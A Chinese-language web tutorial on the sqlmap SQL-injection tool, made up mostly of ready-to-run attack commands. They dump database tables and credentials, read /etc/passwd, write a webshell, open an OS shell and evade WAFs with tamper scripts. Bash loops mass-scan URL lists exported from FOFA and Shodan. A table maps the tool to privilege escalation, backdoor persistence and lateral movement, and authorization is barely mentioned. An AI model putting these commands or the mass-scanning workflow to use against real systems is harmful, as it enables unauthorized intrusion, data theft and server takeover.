java

关注公众号 jb51net

关闭
首页 > 软件编程 > java > sqlmap 使用

sqlmap 使用教程(从入门到进阶)

作者:Factor安全

sqlmap是一款强大的开源 SQL 注入自动化测试工具,支持识别并利用多种类型的 SQL 注入漏洞(Boolean-based、Time-based、Error-based、Stacked Queries 等),本文给大家介绍sqlmap使用教程,感兴趣的朋友一起看看吧

超详细 sqlmap 使用教程(从入门到进阶)

sqlmap 是一款强大的开源 SQL 注入自动化测试工具,支持识别并利用多种类型的 SQL 注入漏洞(Boolean-based、Time-based、Error-based、Stacked Queries 等)。它不仅能识别注入,还能实现数据库指纹识别、表结构读取、数据导出、文件读写、提权、命令执行等。

一、安装 sqlmap

方式一:源码安装(推荐)

git clone https://gitcode.com/sqlmapproject/sqlmap.git //国内镜像
cd sqlmap
python3 sqlmap.py -h

方式二:APT 安装(适用于 Kali、Debian)

sudo apt update
sudo apt install sqlmap
sqlmap -h

二、基本命令语法

sqlmap -u "http://target.com/vuln.php?id=1" [options]

三、典型实战用法大全(按功能分类)

1、基础测试注入点

1、自动探测 GET 参数是否存在注入
sqlmap -u "http://site.com/page.php?id=1"
2、测试 POST 请求参数
sqlmap -u "http://site.com/login.php" --data="username=admin&password=123"
3、带 Cookie 测试(如登录后才可注入)
sqlmap -u "http://site.com/protected?id=5" --cookie="PHPSESSID=xxxxxx"
4、指定注入参数(默认会测试所有)
sqlmap -u "http://site.com/page.php?id=1&sort=desc" -p id
5、静态请求文件(如 Burp 抓包导出的 .txt)
sqlmap -r request.txt

2、数据库识别与信息收集

1、获取数据库类型和版本
sqlmap -u "http://target.com/?id=1" --banner
2、获取当前数据库名
sqlmap -u "http://target.com/?id=1" --current-db
3、获取当前用户、权限
sqlmap -u "http://target.com/?id=1" --current-user --is-dba
4、获取所有数据库名
sqlmap -u "http://target.com/?id=1" --dbs
5、枚举数据库的表名
sqlmap -u "http://target.com/?id=1" -D testdb --tables
6、枚举表内字段名
sqlmap -u "http://target.com/?id=1" -D testdb -T users --columns
7、导出数据
sqlmap -u "http://target.com/?id=1" -D testdb -T users -C username,password --dump

3、绕过过滤和防护机制

1、伪造 User-Agent / Referer
sqlmap -u "http://target.com/?id=1" --user-agent="Mozilla/5.0" --referer="https://google.com"
2、自定义 HTTP 请求头
sqlmap -u "http://target.com" --headers="X-API-KEY: 12345\nClient-Version: 1.0"
3、使用随机 UA 绕过 WAF
sqlmap -u "http://target.com/?id=1" --random-agent
4、使用 tamper 脚本绕过 WAF(如 Cloudflare)
sqlmap -u "http://target.com/?id=1" --tamper=space2comment

推荐组合使用多个:

--tamper=space2comment,charunicodeescape,between

4、特殊注入场景支持

1、支持时间盲注(time-based blind)
sqlmap -u "http://target.com/page.php?id=1" --technique=T
2、支持报错注入(error-based)
sqlmap -u "http://target.com/page.php?id=1" --technique=E
3、使用堆叠查询
sqlmap -u "http://target.com/page.php?id=1" --stacked-query

5、文件系统操作(高危)

1、读取远程服务器文件(如配置文件)
sqlmap -u "http://target.com/page.php?id=1" --file-read="/etc/passwd"
2、上传写入 webshell(需要写权限)
sqlmap -u "http://target.com/page.php?id=1" --file-write=./shell.jsp --file-dest="/var/www/html/shell.jsp"

6、系统命令执行(高权限下)

1、执行系统命令(如 whoami、ipconfig)
sqlmap -u "http://target.com/page.php?id=1" --os-cmd="whoami"
2、启动交互式命令行(非常强大)
sqlmap -u "http://target.com/page.php?id=1" --os-shell

注意:必须具备数据库用户执行系统命令的权限(如 xp_cmdshell, load_file, into outfile 等)

7、登录口爆破测试(少见用法)

如果某参数中存在注入点,sqlmap 可尝试暴力登录:

sqlmap -u "http://target.com/login.php" --data="user=admin&pass=123" -p user --passwords

8、会话保存 / 自动继续扫描

1、保存扫描进度
sqlmap -u "http://target.com" --batch --flush-session
2、继续之前未完成的任务
sqlmap -u "http://target.com" --resume

9、指定数据库引擎、注入技术

--dbms=mysql           # 强制使用 MySQL
--technique=BEUSTQ     # 指定注入技术

技术说明:

四、辅助技巧与实用建议

场景推荐参数
多参数存在注入使用 --level=5 --risk=3
避免频繁交互--batch
WAF 检测或屏蔽--random-agent --tamper
响应慢 / 网站卡顿--timeout=10 --retries=3 --delay=1
避免爆炸性数据--fresh-queries --exclude-sysdbs

五、实战案例总结

例 1:自动识别 + 导出所有数据

sqlmap -u "http://example.com/vuln?id=1" --batch --dump-all

例 2:POST 登录接口注入测试

sqlmap -u "http://site.com/login" --data="user=admin&pass=123" --batch

例 3:使用 Burp 抓包测试

sqlmap -r burp_request.txt --batch

例 4:读取数据库用户信息并执行 whoami

sqlmap -u "http://target.com/?id=5" --current-user --os-cmd="whoami"

六、总结建议

建议理由
使用 --batch 做自动测试减少交互操作,提高效率
指定 -p 参数避免浪费时间在无关参数
学会使用 -r 静态请求文件更适合测试复杂 POST、Cookie 请求
配合 Burp + sqlmap 使用手动确认参数后自动化测试更高效
测试环境先用 --risk=1 --level=1线上目标避免影响服务
禁用系统功能或告警--os-shell 等需谨慎使用

🚀 七、sqlmap 高级技巧 & 实战应用拓展

1. 自动化批量测试多个目标

如果你有一个大量 URL 的列表,比如从 Google/Burp/爬虫中导出的可疑链接:

方法一:使用--batch+--crawl+ Bash 脚本

cat urls.txt | while read url; do
  sqlmap -u "$url" --batch --crawl=2 --threads=5
done

方法二:配合目标资产平台输出(如 FOFA、Quake、Shodan)

结合搜索引擎导出资产后:

for u in $(cat fofa_urls.txt); do
  sqlmap -u "$u?search=1" --random-agent --batch --level=3 --risk=2
done

2. 常用组合参数模板(实战推荐)

场景推荐组合参数
公开测试平台 / 漏扫--random-agent --batch --threads=5
内网实战探测(不打扰目标)--level=1 --risk=1 --technique=B --time-sec=5 --delay=1
目标用 POST 登录--data="user=admin&pass=123"
Cookie 有效期短--cookie="JSESSIONID=xxxxxx"
遇到 CDN 防护--tamper=between,space2comment
目标只允许 HEAD 请求--method=HEAD
深入盲注场景--technique=T --time-sec=10

3. 常见 Tamper 绕过脚本说明

sqlmap 支持用 --tamper 参数指定脚本,在发送请求前修改 Payload(用于绕过 WAF):

脚本名功能说明
space2comment.py将空格替换为 /**/ 注释
between.py使用 BETWEEN 替代等号
charunicodeescape.py字符转为 unicode 编码
equaltolike.py= 替换为 LIKE
randomcase.py字母大小写混淆
unionalltounion.pyUNION ALL SELECT 改成 UNION SELECT
percentage.py使用 % 编码关键字

组合使用示例

sqlmap -u "http://target.com/?id=1" --tamper=space2comment,between,randomcase --random-agent --batch

4. 对抗防火墙与 WAF 策略

1、检测是否有 WAF

sqlmap -u "http://target.com/?id=1" --identify-waf

如果提示类似:

[!] WAF/IDS/IPS identified: Cloudflare

就说明目标使用了防御系统,应切换到:

5. SQL 注入技术选型建议

技术代码类型特点说明
BBoolean Blind最隐蔽,但慢
TTime-based Blind非回显场景常用
EError-based快速,依赖数据库错误信息
UUnion Query最快,依赖回显
SStacked Queries可写文件/执行命令
QInline Query针对特定场景如 PostgreSQL
bash复制编辑--technique=BEUSTQ     # 开启所有类型
--technique=BEU        # 只测回显类
--technique=T          # 强制盲注

6. sqlmap session 保存与重用

sqlmap 会默认保存扫描历史到 .sqlmap/output/host/,也支持:

7. 利用 sqlmap API 进行自动化任务管理

1、启动 API 服务端(默认端口 8775)

python3 sqlmapapi.py -s

2、与之交互(Python 代码 / Postman / curl 调用)

POST /task/new
POST /scan/start
GET  /scan/{id}/log

可搭配 Web UI 或自动化渗透框架集成,例如:

8. 输出数据格式控制

参数功能
--batch省略交互
--forms自动识别表单
--threads=10多线程加速
--output-dir=xxx指定输出目录
--crawl=2自动爬取内部页面 2 层
--fresh-queries不使用缓存
--parse-errors尝试解析错误信息
--save保存参数为 profile

9. sqlmap 配合渗透测试场景

渗透阶段sqlmap 使用点
信息收集自动识别数据库、DBA 用户、DB 类型
权限提升利用堆叠查询执行文件写入、提权脚本
持久化控制写入 Webshell,执行后门
lateral movement获取数据库中的 VPN 账号、内网 IP、后台密码等

10. 学习路径建议(由浅入深)

  1. ✅ 掌握基本注入点扫描(--dbs --tables --dump
  2. ✅ 理解 6 大注入技术(BEUSTQ)
  3. ✅ 学会绕过 WAF(tamper 编写与选择)
  4. ✅ 学会构造 request.txt / Cookie / Header 注入
  5. ✅ 脚本化调用 sqlmap 自动打点
  6. ✅ 分析源码、写 tamper、定制注入 payload

附:推荐资源

类型链接
官网https://sqlmap.org
GitHubhttps://gitcode.com/sqlmapproject/sqlmap
API 文档https://gitcode.com/sqlmapproject/sqlmap/wiki/Usage
Tamper 脚本文档https://gitcode.com/sqlmapproject/sqlmap/tree/master/tamper
sqlmap API 工具封装sqlmapapi-client

✅ 总结一句话:

sqlmap 不只是一个扫描工具,它是一台自动化的数据库信息提取武器库,只要你掌握参数,就能完成注入探测、提权、文件操作等一整套攻击链。

到此这篇关于sqlmap 使用教程(从入门到进阶)的文章就介绍到这了,更多相关sqlmap 使用内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

您可能感兴趣的文章:
阅读全文